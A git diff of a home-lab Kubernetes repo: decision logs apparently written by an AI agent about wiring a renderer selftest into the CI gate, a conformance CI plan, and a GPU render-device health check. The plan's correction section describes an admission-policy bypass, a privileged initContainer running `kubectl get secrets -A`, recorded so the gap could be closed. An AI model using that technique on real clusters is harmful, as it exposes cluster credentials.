+  it will roll five Deployments; every user's existing session on those five apps is invalidated by
+  the cookie rename and they will re-authenticate once. Radarr/sonarr/qbittorrent use
+  `strategy: Recreate` on RWO volumes, so there is a brief gap per app. Pick the moment — and
+  note this now changes **three** flags plus a port on all five, so a bad `--cookie-refresh` value
+  would surface as five apps misbehaving, not one.
+- **The live flags are not re-measured by the check.** git is not the cluster. I measured the live
+  pods by hand, once; nothing in the gate re-reads them, so hand-applied drift would be invisible
+  to it. A live-state assertion is L2 and is not written.
+- **`--cookie-refresh` and `--metrics-address` are UNGATED, and I found out why.** Nothing in
+  `ci/` or `.gitea/` runs `catalog/render.py --selftest` — I grepped for it. So the twenty-odd
+  assertions in that selftest, including the six I just added, are dev-time only: a future edit
+  that drops either flag *and* re-renders the goldens would pass the entire merge gate.
+  `render-golden` catches accidental drift (golden vs renderer) but not a deliberate removal of
+  both together, and my L0 check deliberately does not cover these two flags. **The repo already
+  has the precedent for the fix and the one-line shape of it:**
+  `conformance/tests/l0-static/auditability-proofs-producible/check.sh:291` drives
+  `conformance/lib/<tool> --selftest` as a subprocess for exactly this reason — its own header
+  says it does so "because nothing [else] drives them". Adding `catalog/render.py` to that list,
+  or giving the renderer its own scope-declaring L0 test, closes it. I did not do it here because
+  it widens an already review-blocked PR into a third subject; it is the highest-value follow-up
+  in this entry.
+- **Log-derived counts are a weak instrument and I did not strengthen them.** `kubectl logs
+  --since=` returns what the kubelet still retains, so an old, busy container's window may be
+  truncated; and `No valid authentication in request` counts unauthenticated first hits and XHR
+  polls indiscriminately. The `cookie signature not valid` / `removing session` pair is the only
+  collision-specific signal in there, and it is the one I leaned on. None of this is gated —
+  there is no alert on it and no L2 check reads it.
+- **The cookie-secrets' distinctness is not gated either.** It was measured out of band and is
+  asserted nowhere. If they were ever made identical the collision would become harmless — but
+  sharing one session-encryption key across trust zones is a worse idea than the bug it would mask,
+  so the check does not offer it as an alternative and does not look for it.
+- **The shared proxy's own configuration is unchanged and untested by me.** I did not touch
+  `platform/oauth2-proxy/**` (owned by another agent this cycle); the check only reads it.
+- **Nothing about group authorization, CSRF behaviour, or session contents.** Names and domains only.
+- **`vars.CLUSTER_AVAILABLE` is still unset in CI**, so the PR's green tick — if it goes green —
+  proves the L0/L1 offline subset and nothing about runtime.

decisions/2026-10-01-render-selftest-runs-in-gate.md

@@ -0,0 +1,205 @@
+---
+date: 2026-10-01
+branch: fix/render-selftest-runs-in-gate
+title: catalog/render.py's 106 assertions were dev-time only; the gate now runs them and blocks on them
+---
+
+## What changed
+
+Single subject, one file: **`ci/render-golden.sh` now invokes `catalog/render.py --selftest`**
+and exits 1 when it fails. Nothing else. No renderer change, no new conformance test, no new
+gate stage.
+
+This closes the top follow-up of `decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md`:
+
+> Nothing in `ci/` or `.gitea/` runs `catalog/render.py --selftest` — I grepped for it. So the
+> twenty-odd assertions in that selftest, including the six I just added, are dev-time only: a
+> future edit that drops either flag *and* re-renders the goldens would pass the entire merge
+> gate.
+
+Re-measured here and confirmed: before this commit, `grep -rl -- --selftest` over `ci/` and
+`.gitea/` returned **nothing** for the renderer. The selftest executes **106** assertions
+(`check()` invocations counted at runtime via `sys.settrace`, without editing `render.py`; 109
+static call sites, three of them on failure-only branches). All 106 were unexercised by the
+merge gate.
+
+### The lead was WRONG, and here is why
+
+The brief named `conformance/tests/l0-static/auditability-proofs-producible/check.sh:291` as the
+one-line fix. That line is real and it does drive selftests:
+
+    for tool in ("record_run.py", "status.py"):
+        r = run([sys.executable, str(LIB / tool), "--selftest"])
+
+But it is **the wrong hook**. That loop is section (d) of a check that serves **R-SEC-03**, and
+its subject is the *evidence chain* — can a self-skipped run, or a stale ledger row, become an
+audit proof? `record_run.py` and `status.py` are **in** that chain; `catalog/render.py` is not.
+Hanging the renderer there would have made the check's name, its `intent` annotation and its
+requirement mapping (`R-SEC-03`) all untrue, and a future decision about the renderer could then
+only be expressed by weakening a *security-auditability* check. That is the precise coupling the
+cookie-collision entry refused for its own check, and it applies here.
+
+The second option that entry offered — a new scope-declaring L0 test — is the supported mechanism
+for a **whole-repo invariant** (`ci/l0.sh` Stage 3b's `--include-scope whole-repo` union, ratcheted
+by `tests/l0-static/whole-repo-invariants-wired`). It is the right shape for an invariant
+quantified over the tracked tree. It is the wrong shape for *"a script in this repo must pass its
+own unit test"*: it would need to declare requirements it does not serve, and it would be two new
+files of several hundred lines by this tree's conventions for what is a six-line invocation.
+
+**The honest home is `ci/render-golden.sh`** — the gate stage whose subject *already is*
+`catalog/render.py`. It already resolves `$PYTHON` and `$RENDER_PY`, already reports rc 3 when
+either is missing, already exits 1 on renderer error, and `ci/gate.sh` already maps it through
+`for s in lint l0 render-golden l1` where a FAIL is BLOCKED and a SKIP is UNDETERMINED. The
+stage's two assertions are independent and both are needed:
+
+- `render-golden` catches golden-vs-renderer drift, but is satisfied by **any** renderer whose
+  output was re-rendered — including one that just lost a contract invariant and had all ten
+  goldens regenerated in the same commit. That is exactly the hole named in the quote above.
+- `--selftest` catches that, and is blind to golden drift.
+
+The file header and the stage name were updated so neither is a lie: the stage is now "the
+renderer is trustworthy", with two numbered assertions, and the step summary emits its own
+`- render-selftest:` line so the gate output still NAMES what ran.
+
+The selftest runs **before** the empty-catalog `exit 3` on purpose: it renders synthetic
+ServiceDefinitions in memory and is catalog-independent, so an empty catalog must not be able to
+skip it.
+
+`catalog/render.py` itself was **not touched** (owned by a concurrent branch this session), and
+neither was any file under `conformance/`.
+
+## What I verified
+
+- **The selftest runs and passes: rc 0, `render.py selftest: PASS`, 106 assertions executed.**
+  Counted at runtime, not from the source: a `sys.settrace` hook counting `check()` calls, in a
+  throwaway script outside the repo, with no edit to `render.py`.
+- **The stage passes with it wired in**, host run of the single stage:
+
+      [gate] Stage: render==golden reproducibility (canonical render vs committed apps/)
+      [gate] Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)
+      [ ok ] render.py --selftest passed
+      [ ok ] render==golden: all 10 onboarded service golden(s) reproduce from the canonical render
+
+  rc **0**. The golden comparison still reports all 10 goldens, so the new invocation did not
+  displace what the stage already asserted.
+- **IT CAN FAIL — provoked twice, against a mutated COPY of the renderer, never against the
+  tree.** `ci/render-golden.sh` already honours `RENDER_PY`, so each mutant lived in
+  `/tmp/claude-1000/desmond-selftest/` and the repo's `catalog/render.py` was never modified —
+  which matters, because that file belongs to a concurrent branch this session.
+  - **Mutation 1 — the regression this selftest was written for.** Deleted the
+    `f"--cookie-name=_oauth2_proxy_{s['name']}"` emission from `_oauth2_sidecar_container()`,
+    i.e. reverted the fleet-wide cookie-collision fix of PR #28. Stage rc **1**. Note the shape
+    of the failure, because it is a real (minor) weakness and is listed as a follow-up: the
+    selftest died with an uncaught `StopIteration` out of `next(a for a in container["args"] if
+    a.startswith("--cookie-name="))` at `render.py:2641`, rather than printing its collected
+    `SELFTEST FAIL:` lines. It is correctly non-zero and the stage correctly blocks, but the
+    operator gets a traceback instead of the assertion message.
+  - **Mutation 2 — a clean, named assertion failure.** `OAUTH2_COOKIE_REFRESH = "2m30s"` ->
+    `"10m"`, widening the refresh past the measured 300s access-token lifetime. Stage rc **1**:
+
+        [fail] catalog/render.py --selftest FAILED — the renderer violates its own output contract.
+        [fail]   Every golden under apps/ is produced by this renderer, so the goldens below cannot
+        [fail]   be trusted even if they reproduce byte-for-byte. Reproduce with:
+        [fail]     python3 catalog/render.py --selftest
+            SELFTEST FAIL: --cookie-refresh=10m parses to 600.0s, which is not inside (0, 300s). A
+            refresh at or past the access-token lifetime never renews in time, which is the same
+            logout it was added to stop
+
+    This is the mutation that proves the wiring's value most directly: mutation 2 would **not**
+    be caught by `render-golden`'s diff if the goldens were regenerated in the same commit, and
+    it is one of the two flags the cookie-collision entry explicitly recorded as **ungated**.
+- **THE NON-ZERO PROPAGATES ALL THE WAY TO `gate.sh`'s rc — provoked, in the pinned toolbox, not
+  reasoned about.** `RENDER_PY=/desmond-selftest/render-mutant2.py ./ci/gate.sh`:
+
+      [ ok ] stage spec-immutability: pass
+      [ ok ] stage decisions-log: pass
+      [ ok ] stage lint: pass
+      [ ok ] stage l0: pass
+      [gate] Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)
+      [fail] catalog/render.py --selftest FAILED — the renderer violates its own output contract.
+          SELFTEST FAIL: --cookie-refresh=10m parses to 600.0s, which is not inside (0, 300s). ...
+      [fail] stage render-golden: FAIL
+      [ ok ] stage l1: pass
+      ...
+      [fail] render-golden: FAILED -> blocks merge
+      [fail] MERGE GATE: BLOCKED
+
+  `gate.sh` rc **1**. Three links in the chain, each measured: selftest rc 1 -> stage rc 1 ->
+  gate rc 1 / `MERGE GATE: BLOCKED`. This mattered enough to provoke rather than assume: this
+  repo has a documented habit of exit codes getting flattened, and
+  `.gitea/workflows/gate.yml:138` runs `./ci/gate.sh || [ "$?" -eq 3 ]`, which tolerates rc 3 —
+  so a stage that degraded a failure to a skip would be swallowed by CI. rc 1 is not tolerated
+  there, and rc 1 is what this produces.
+- **`spec-immutability` genuinely RAN and passed, it did not skip.** The two-mount worktree shim
+  plus `-e SPEC_REPO=/home-network-k3s` (the fix recorded in the 2026-09-30 cookie entry) works:
+  `stage spec-immutability: pass`, not SKIPPED. R-TEST-06 is therefore actually covered by these
+  runs.
+- **No collision with PR #29.** The brief warned that `feat/oauth2-proxy-auth-failure-visible`
+  had added checks under `conformance/tests/l0-static/`. Measured —
+  `git diff origin/main...origin/feat/oauth2-proxy-auth-failure-visible --name-only` — it touches
+  **no `conformance/` path at all**: `decisions/`, `platform/oauth2-proxy/` (a promtool test, an
+  alert rule, its kustomization), `runbooks/`. Disjoint from this branch either way, since this
+  branch touches only `ci/render-golden.sh` and this file.
+- **Priya's files were not touched.** `catalog/render.py`, `schemas/servicedefinition.schema.json`,
+  `apps/wave-*` and `conformance/tests/l1-rendering/` are all untouched by this branch — confirmed
+  by `git diff --name-only`, which lists exactly two paths.
+- **`catalog/render.py --selftest` was the LAST unwired selftest in the tree.** Measured:
+  `grep -rl -- --selftest` across the repo finds selftest-capable artifacts in exactly four
+  places, and after this commit every one is driven by the gate — `conformance/lib/record_run.py`
+  and `conformance/lib/status.py` by `auditability-proofs-producible/check.sh:291`, the Keycloak
+  client-secret reconciler (embedded in `platform/keycloak/client-secret-reconciler.yaml`) by
+  `keycloak-client-secret-reconciler/check.sh:633`, and `catalog/render.py` by this change.
+
+## What I did NOT verify
+
+- **Local gate: rc 3 (UNDETERMINED), NOT 0. This is not green and must not be reported as
+  green.** Measured in the pinned toolbox on `eeb6211`:
+
+      [ ok ] spec-immutability: green
+      [ ok ] approval-policy: green
+      [ ok ] decisions-log: green
+      [ ok ] lint: green
+      [ ok ] l0: green
+      [ ok ] render-golden: green
+      [ ok ] l1: green
+      [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+      [fail]   Stages that did not run: gitea-settings
+
+  Nothing FAILED. The single cause is `gitea-settings` **SKIPPED** — `SETTINGS_API_TOKEN` is not
+  set in my environment, so branch protection and runner registration were not read; CI has that
+  token and the stage is expected to run there. **L2/L3 `conformance`** also skipped
+  (`CLUSTER_AVAILABLE` unset) but is a *declared* gap that `gate.sh` treats as not-applicable
+  rather than undetermined, so it is not what produced the 3. Touched requirements
+  **R-GITOPS-01 R-TEST-02 R-TEST-03 R-TEST-06** are therefore **UNVERIFIED at L2/L3**, all four.
+  The stage this branch changes, `render-golden`, is green **and** was independently proven able
+  to turn the whole gate red (above).
+- **`approval-policy` passed LOCALLY only because there is no pull_request event**
+  (`not a pull_request event (event='none') — approval policy N/A`). That is not evidence that it
+  passes. This diff touches `ci/**`, a sensitive path, so in CI the stage is expected to **FAIL**
+  until a non-author approving review exists. That is §1 working, fail-closed, not a defect.
+- **The selftest's own quality is unchanged and ungated.** I wired its *invocation*; I did not
+  review its 106 assertions, and nothing ratchets them. Deleting the body of `_selftest()` would
+  still pass this stage, because an empty selftest returns 0. The repo already has the right
+  answer for that — `conformance/tests/l0-static/keycloak-client-secret-reconciler/mutations.py`
+  injects regressions one at a time and requires `--selftest` to catch every one — and applying
+  that pattern to `catalog/render.py` is the follow-up, deliberately not done here: it is a
+  second subject, it touches `conformance/`, and it would need to live beside the renderer whose
+  file another branch owns this session. **Until it exists, "the selftest runs" is proven and
+  "the selftest is falsifiable" rests on my two hand-run mutations, which are not in the gate.**
+- **Mutation 1's traceback is not fixed.** `render.py:2641`'s `next(...)` has no default, so the
+  absence of `--cookie-name` raises `StopIteration` and the selftest's collected `SELFTEST FAIL:`
+  lines are never printed. Correct verdict, poor diagnostics, and it suppresses the other
+  assertions that mutation also broke. The one-line fix (`next(..., None)` plus a `check()`) is in
+  `catalog/render.py`, which is another branch's file this session, so it is a follow-up and not
+  a thing I touched.
+- **Nothing about the live cluster.** No `kubectl` of any kind was run on this branch — not even
+  read-only; this change is offline CI wiring and needed none. No `apply`/`edit`/`patch`, no
+  `flux reconcile`. Merging this deploys nothing: it changes only what the gate refuses.
+- **CI's own run of this branch.** Quoted in the PR body from the commit's `/statuses`, with
+  descriptions read rather than colours. A *skipped* Gitea job reports `success` with
+  "Has been skipped" and certifies nothing.
+- **`vars.CLUSTER_AVAILABLE` is still unset in CI**, so even a fully green PR proves the L0/L1
+  offline subset and nothing about runtime behaviour.
+- **I did not re-measure branch protection, required approvals, or the runner.** Those are
+  CLAUDE.md §2 claims and §2b says re-measure before relying on them; this branch relies on none
+  of them beyond the PR flow itself, and I read the gate's own output rather than the API.

docs/plans/l2-l3-conformance-ci-wiring.md

@@ -33,7 +33,7 @@ agents. So the credential model must be decided by the operator before anything
 | Dormant full blueprint | `.gitea/workflows/merge-gate.yaml` | Shows the intended shape: `conformance` job `if: ${{ vars.CLUSTER_AVAILABLE == 'true' }}`, `secrets.CONFORMANCE_TRIGGER_KUBECONFIG`, `make -C ci conformance`, then a `merge-gate` decision job (`scripts/decide.sh`). Manual-only (`workflow_dispatch`). |
 | CI conformance stage | `ci/conformance.sh` | SKIPS (exit 3) unless `CLUSTER_AVAILABLE=true`. When "on", it currently runs `conformance/run.sh --layer l2,l3` **locally in the CI job** and collects `_artifacts/`. Its own header carries `TODO(Phase 1): drive the in-cluster Chainsaw Job under the narrow CONFORMANCE_TRIGGER_KUBECONFIG` — i.e. the trigger path is **not implemented**. |
 | Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). |
-| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. |
+| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). |
 | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). |
 | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. |
 | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. |
@@ -58,17 +58,42 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12).
 
 ## 3. Gaps to close (functional)
 
-1. **Runner image.** `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
+1. **Runner image.** *(Added requirement, 2026-09-29: the image MUST also install
+   `conformance/incluster/conformance-clone` at **`/usr/local/bin/conformance-clone`**, mode
+   0755, and provide a **uid 65532** non-root user. The admission policy pins that exact
+   entrypoint path and the Job pins that uid — see §4.)*
+   `ghcr.io/kyverno/chainsaw` is a minimal image; `run.sh` needs **bash +
    python3 + chainsaw + kubectl**, and the repo-clone init needs **git**. The Job cannot run
    `./run.sh` on the stock chainsaw image. → Build a pinned `conformance-runner` image (chainsaw
    `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry,
    pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep
    `CHAINSAW_VERSION` as the single source of truth the image is built from.
-2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an
+2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`).
+   Init container `clone-suite-at-commit` runs `/usr/local/bin/conformance-clone` with **no
+   args** — logic in `conformance/incluster/conformance-clone`, baked into the image by
+   item 1: shallow clone, fetch the exact commit if the shallow tip lacks it, detach, then
+   **assert `HEAD` == the requested SHA**. SHA arrives as a `@@CONFORMANCE_GIT_SHA@@`
+   substitution into a Job env var and is refused unless it matches `^[0-9a-f]{40}$`. The
+   clone URL is **hardcoded in the entrypoint**, not passed in env: the policy does not
+   constrain `env`, so a caller-chosen URL would let CI pick which repository's code runs as
+   `conformance-runner`. Credential = secret `conformance-git-readonly` (read-only Gitea
+   token) by **name only**, as env via `secretKeyRef` — not a volume, because admission allows
+   only `workspace` and `results`. Still to do: build the runner image (item 1, and it must
+   install the entrypoint at that exact path) and provision that Secret (item 6).
+   Original text: → Add an
    **init-container** (`git clone --depth 1` of the impl repo, then `git checkout <SHA>`) writing
    into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched
    `--requirements` are injected by the CI trigger step as Job env/args.
-3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results`
+3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`,
+   `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run
+   still ships its red JUnit — that prints the artifact tree as a base64 tar between
+   `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64
+   line count and digest appear in **both** markers, so a truncated `kubectl logs` fails
+   collection instead of decoding to plausible garbage; the five checks the collector owes are
+   spelled out above that function. It lives in `run.sh` and not in the Job because admission
+   pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and
+   head-truncation, tail-truncation, a dropped interior line and a single corrupted character are
+   each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results`
    volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited
    base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from
    `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results
@@ -104,6 +129,19 @@ stack):**
 
 - SA `conformance-trigger` (ns `conformance`), Role: `create` on `jobs`; `get,list,watch` on
   `jobs`; `get` on `pods` and `pods/log`. Nothing else. Bound only in the `conformance` ns.
+- **CORRECTION (2026-09-29): "constrain the Job's shape" means ALL THREE container lists, not
+  `containers`.** As first shipped, the policy read only `spec.template.spec.containers` and
+  `volumes`. `initContainers` was unread, so a Job with a fully compliant `containers[0]` and a
+  `privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` was
+  **ADMITTED** (`pass: 3, fail: 0`, measured with kyverno v1.19.0). Rule 1's
+  `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` was the
+  same. Both are now covered by
+  `trigger-initcontainers-must-be-the-committed-clone-step` and
+  `trigger-may-not-declare-ephemeral-containers`, with the probes kept as negative fixtures.
+  **The lesson generalises:** an "admit only the committed shape" policy has to enumerate every
+  field that can carry executable intent, and a `pattern` over an array only asserts *at least
+  one element matches* — use `deny` conditions and cap the count. Also note the residual: no
+  rule constrains `env`, which is why the clone URL is hardcoded in the image entrypoint.
 - A **Kyverno ClusterPolicy (validate, enforce, fail-closed)** that, *for Jobs created by
   `system:serviceaccount:conformance:conformance-trigger`*, ADMITS only Jobs that match the
   committed shape: image == the pinned `CONFORMANCE_RUNNER_IMAGE` digest,

infra/ansible/roles/node_health/README.md

@@ -19,9 +19,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
 
 ## Contract
 
-- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`,
-  and — only when it can escalate — `smartctl`. It writes nothing to the node and
-  **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
+- **Read-only and side-effect-free.** It reads `/sys`, `/proc`, `/etc`, runs `lsblk`/`lscpu`
+  (and `lspci` only if it happens to be installed), and — only when it can escalate —
+  `smartctl`. It writes nothing to the node and **installs nothing**. `smartmontools` is declared in `node_baseline_packages`; if it is
   absent the SMART checks SKIP with that as the stated reason (operator ruling 2026-08-31:
   package installation is `node_baseline`'s job, never a health check's, never a manual
   `apt-get`).
@@ -50,6 +50,9 @@ Serves **R-ENV-01** (you cannot certify a node you have not measured), **R-ENV-0
 | `memory.available`, `memory.swap`, `memory.ecc` | headroom, kubelet's swap-off prerequisite **and whether it survives a reboot** (see [Swap off is not the same as swap disabled](#swap-off-is-not-the-same-as-swap-disabled)), EDAC correctable/uncorrectable counters |
 | `memory.physical_total` | **is this machine using the RAM it has?** `/proc/zoneinfo` present-vs-managed pages (no root, metal or VM) and `MemTotal` vs the DIMM capacity SMBIOS reports (`dmidecode -t 17`, root, bare metal). Cause-independent by design — see [The EFI memattr check](#the-efi-memattr-check) |
 | `cpu.throttle`, `cpu.inventory`, `cpu.virtualisation` | thermal throttle events since boot, topology + frequency scaling, VT-x/AMD-V + `/dev/kvm` (KubeVirt, R-PLAT-03) |
+| `graphics.render_device` | is there a usable `/dev/dri/renderD*` character device — the path Plex hardware-transcodes through. See [The render-device check](#the-render-device-check) |
+| `graphics.drm_driver` | which DRM driver is bound to the display device, against `node_health_graphics_expected_driver` (`i915` here) |
+| `graphics.media_stack` | **INFO only**: `vcs*`/`vecs*` media engines, GuC/HuC firmware state, host VAAPI userspace. None of these is ever graded — see below for why |
 | `thermal.max` | hottest sensor across thermal zones and hwmon chips |
 | `pressure.cpu` / `.memory` / `.io` | PSI `some avg60` — dev learned to care about CPU PSI specifically |
 | `network.link`, `network.errors`, `network.resolvers` | link state/speed, NIC error counters, DNS upstream redundancy per address family |
@@ -91,6 +94,78 @@ used to blame that state on "this node has not been baselined yet", which sent t
 back to re-run the role that had already run.
 
 
+## The render-device check
+
+Plex transcodes on the iGPU through `/dev/dri/renderD128`. **When that node stops existing,
+nothing fails loudly.** Plex falls back to software transcoding by itself; the only symptom
+is a hot CPU and stuttering clients. A node rebuild, a BIOS change that disables the onboard
+IGD, a kernel that binds a different DRM driver, or a driver regression all produce exactly
+that silent degradation.
+
+The state was measured by hand on all three prod nodes on 2026-09-30 and found working. **A
+fact measured once decays silently**, so it is re-measured on every health run instead of
+living in a runbook. Nothing is installed, no module is loaded, no group is changed — the
+role's read-only contract is unchanged.
+
+| fact | where it comes from | root? |
+|---|---|---|
+| `/dev/dri` contents, ownership, mode, char-vs-not | `lstat()` on each entry | no |
+| owning group **name** for the render node's gid | `grp.getgrgid()` | no |
+| bound DRM driver | `/sys/class/drm/card*/device/driver` symlink target | no |
+| is the iGPU on the bus at all | `/sys/bus/pci/devices/*/class` (PCI base class `0x03`) | no |
+| media engines (`vcs*`, `vecs*`) | `/sys/class/drm/card*/engine/*` | no |
+| module load state | `/proc/modules` | no |
+| GuC/HuC | `/sys/module/i915/parameters/enable_guc` + `/proc/cmdline` | **parameter file is mode 0400** |
+
+### The PCI scan is separate from the DRM scan on purpose
+
+`/sys/class/drm/card*` exists only once a driver has **bound**. A machine whose iGPU sits on
+the bus with nothing attached has no `card0` at all — and that is precisely the failure being
+hunted. So the display device is looked for on the PCI bus independently, from sysfs, which
+is always there. That is what lets `graphics.render_device` distinguish
+
+- *no GPU in this machine* → **SKIP** (a VM guest; nothing to grade, the same convention
+  `thermal.max` uses for "no sensor on this hardware"), from
+- *a GPU is on the bus and there is still no render node* → **FAIL**.
+
+`lspci` is used **only** to decorate the PCI entry with a readable name, and it is treated as
+optional because it is: `pciutils` is **not** declared in `node_baseline_packages`, so nothing
+in this repo guarantees it. It did turn out to be present on all three prod nodes
+(`/usr/bin/lspci`, measured 2026-09-30 — Debian installs `pciutils` by default), but depending
+on that would mean depending on an undeclared package. Absent, `description` is `null`, the
+numeric IDs are printed instead, and no verdict changes.
+
+### The render node's GID is reported, never asserted
+
+The render device was `root:render`, **gid 992**, mode `0660` on all three prod nodes on
+2026-09-30. The check does **not** compare against `992`, and must not be changed to.
+`render` is a **systemd dynamic allocation** (`systemd-sysusers`), not a Debian static gid
+from `base-passwd`, so a rebuilt node can legitimately land on a different number. Plex's own
+container entrypoint stats the device and joins whichever group owns it, so drift genuinely
+is not a fault. Recording the observed group name and gid in the detail line makes drift
+**visible** without making it an error — a hard `!= 992` would be a false alarm waiting for a
+reinstall.
+
+What *is* configurable is the expected DRM driver, `node_health_graphics_expected_driver`
+(default `i915`), so the verdict stays out of task logic. `xe` bound instead of `i915` is a
+**WARN**, not a FAIL: the device still works, but the two drivers do not share a userspace
+media stack and a libva/iHD build that transcodes correctly against one is not automatically
+right for the other. On these nodes `xe.ko.xz` exists on disk and is bound to nothing.
+
+### Two things that are informational and must stay that way
+
+- **GuC/HuC firmware not loaded** (`i915.enable_guc=0`) is a known, accepted state here. It
+  costs low-power H.264 encode *quality* only; decode and encode both still run on the media
+  engines. Grading it would put a permanent WARN on a chosen configuration.
+- **No host VAAPI userspace / no `vainfo`** is **not a defect**. Plex ships its own libva and
+  media driver inside its container, so the host needs neither. Flagging it would invite
+  someone to `apt install vainfo` on a node to clear a health check — and this role installs
+  nothing.
+
+`enable_guc` is one of i915's `0400` module parameters, so an unprivileged pass usually
+cannot read it. It reports as an honest `NOT READ — <reason>` rather than a fabricated `0`,
+with `/proc/cmdline` as the world-readable second source for an explicit boot override.
+
 ## The EFI memattr check
 
 `infra/PROD-PROVISIONING.md` §0b is authoritative; this is only what the check needs.
@@ -273,3 +348,10 @@ stays `null` — no claim is made either way.
   but the wear/endurance context SKIPs rather than guessing.
 - `ioerr_cnt` counts commands the kernel saw fail, which includes benign rejected or
   unsupported commands during discovery. Attribution needs `dmesg`, which needs root.
+- `graphics.render_device`'s **FAIL path has never fired against a real node** — every prod
+  node has a working render device, and the role is read-only so one cannot be taken away to
+  prove it. The failure branches were exercised against synthetic fact sets only. The same
+  applies to the `xe`-bound WARN: no node here has `xe` bound.
+- `graphics.*` proves the render **device** exists and which driver owns it. It does **not**
+  prove a transcode succeeds — that needs a VAAPI round trip inside Plex's own container,
+  with Plex's own libva, which is out of scope for a node-level check that installs nothing.

infra/ansible/roles/node_health/defaults/main.yml

@@ -35,6 +35,24 @@ node_health_try_privileged: true
 # --nocheck=standby: never spin up a sleeping disk just to read it. Read-only hygiene.
 node_health_smartctl_args: "--json=c --all --nocheck=standby"
 
+# --- Graphics / render device ---------------------------------------------------------
+# The DRM driver this site EXPECTS to be bound to its display device. Measured on all three
+# prod nodes 2026-09-30: `i915` on the CoffeeLake-S GT2 [UHD Graphics 630] iGPU of every HP
+# EliteDesk 800 G5 Mini. The newer `xe` module is present on disk as xe.ko.xz but is bound to
+# nothing, and that difference matters enough to surface: the two drivers do not share a
+# userspace media stack (a libva/iHD build that works against i915 is not automatically the
+# right one for xe), so a silent switch would change Plex's transcoding path. A site on AMD
+# or NVIDIA sets this to `amdgpu` / `nouveau` / `nvidia` rather than editing task logic.
+#
+# WHAT IS DELIBERATELY *NOT* A SETTING HERE: the numeric GID of the render node's owning
+# group. `render` is a systemd DYNAMIC allocation (systemd-sysusers), not a Debian static
+# one, so a rebuilt node may legitimately land on a different number — it was 992 on all
+# three prod nodes on 2026-09-30, and an assertion against that literal would be a false
+# alarm waiting to happen. Plex's own container entrypoint stats the device and joins
+# whichever group owns it, so drift genuinely is not a fault. The observed group name and GID
+# are therefore REPORTED in the check detail and never graded.
+node_health_graphics_expected_driver: i915
+
 # --- Thresholds ---------------------------------------------------------------------
 # All verdicts come from here, so a site can retune without touching task logic.
 node_health_thresholds:

infra/ansible/roles/node_health/files/node_health_collect.py

@@ -35,10 +35,13 @@
 # =============================================================================
 
 import glob
+import grp
 import json
 import os
+import pwd
 import re
 import shutil
+import stat
 import subprocess
 import sys
 import time
@@ -756,6 +759,212 @@ def collect_pressure():
     return out
 
 
+# --- Graphics / DRM render device -----------------------------------------------------
+# WHY THIS IS HERE AT ALL. Plex transcodes on the iGPU through /dev/dri/renderD128. If that
+# node stops existing — a node rebuild, a BIOS change that disables the IGD, a kernel that
+# binds a different DRM driver — nothing breaks loudly: Plex silently falls back to software
+# transcoding and the only symptom is a hot CPU. So the render device is measured on every
+# health run rather than being a fact someone established once by hand.
+#
